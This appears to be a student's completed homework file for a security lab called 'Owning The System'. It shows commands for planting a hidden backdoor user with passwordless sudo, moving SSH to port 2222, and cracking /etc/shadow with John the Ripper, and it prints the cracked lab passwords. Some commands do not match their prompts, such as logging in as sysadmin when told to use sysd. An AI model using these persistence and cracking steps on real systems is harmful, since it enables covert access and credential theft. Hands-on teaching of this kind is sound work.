**Week 6 Homework Submission File: Advanced Bash - Owning The System**

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

**Step 1: Shadow People**

1. Create a secret user named **sysd.** Make sure this user doesn't have a home folder created:
   * **sudo useradd -M sysd**
2. Give your secret user a password:
   * **sysadmin:~\ $ sudo passwd sysd**
   * **Enter new UNIX password:**
   * **Retype new UNIX password:**
   * **passwd: password updated successfully**
3. Give your secret user a system UID < 1000:
   * **sysadmin:~\ $ sudo usermod -u 666 sysd**
   * **sysadmin:~\ $**
4. Give your secret user the same GID:
   * **sysadmin:~\ $ sudo groupmod -g 666 sysd**
   * **sysadmin:~\ $**
5. Give your secret user full **sudo** access without the need for a password:
   * **# User privilege specification**
   * **root ALL=(ALL:ALL) ALL**
   * **sysd ALL=(ALL) NOPASSWD:ALL**
6. Test that **sudo** access works without your password:

Your bash commands here:

**$ sudo less /etc/passwd or sudo -l**

**Step 2: Smooth Sailing**

1. Edit the **sshd\_config** file:

Your bash commands here:

**#Port 22**

**Port 2222**

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:
   * **$ sudo systemctl restart sshd**
2. Exit the **root** account:
   * **sysadmin:~\ $ exit**
   * **Connection to 192.168.6.105 closed.**
3. SSH to the target machine using your **sysd** account and port **2222**:
   * **sysadmin@UbuntuDesktop:/etc$ ssh sysadmin@192.168.6.105 -p 2222**
   * **sysadmin@192.168.6.105's password:**
   * **Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-156-generic x86\_64)**
4. Use **sudo** to switch to the root user:
   * **root@scavenger-hunt:~# sudo -i**
   * **You found flag\_7:$1$zmr05X2t$QfOdeJVDpph5pBPpVL6oy0**

**Step 4: Crack All the Passwords**

1. SSH back to the system using your **sysd** account and port **2222**:
   * **sysadmin@UbuntuDesktop:/etc$ ssh sysadmin@192.168.6.105 -p 2222**
   * **sysadmin@192.168.6.105's password:**
   * **Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-156-generic x86\_64)**
2. Escalate your privileges to the **root** user. Use John to crack the entire **/etc/shadow** file:
   * **root@scavenger-hunt:~# john /ect/shadow**
   * **stat: /ect/shadow: No such file or directory**
   * **root@scavenger-hunt:~# john /etc/shadow**
   * **Loaded 8 password hashes with 8 different salts (crypt, generic crypt(3) [?/64])**
   * **Press 'q' or Ctrl-C to abort, almost any other key for status**
   * **computer (stallman)**
   * **freedom (babbage)**
   * **trustno1 (mitnik)**
   * **dragon (lovelace)**
   * **lakers (turing)**
   * **passw0rd (sysadmin)**
   * **Passw0rd (sysd)**
   * **Goodluck! (student)**
   * **8g 0:00:03:40 100% 2/3 0.03624g/s 511.2p/s 549.9c/s 549.9C/s Missy!..Jupiter!**
   * **Use the "--show" option to display all of the cracked passwords reliably**
   * **Session completed**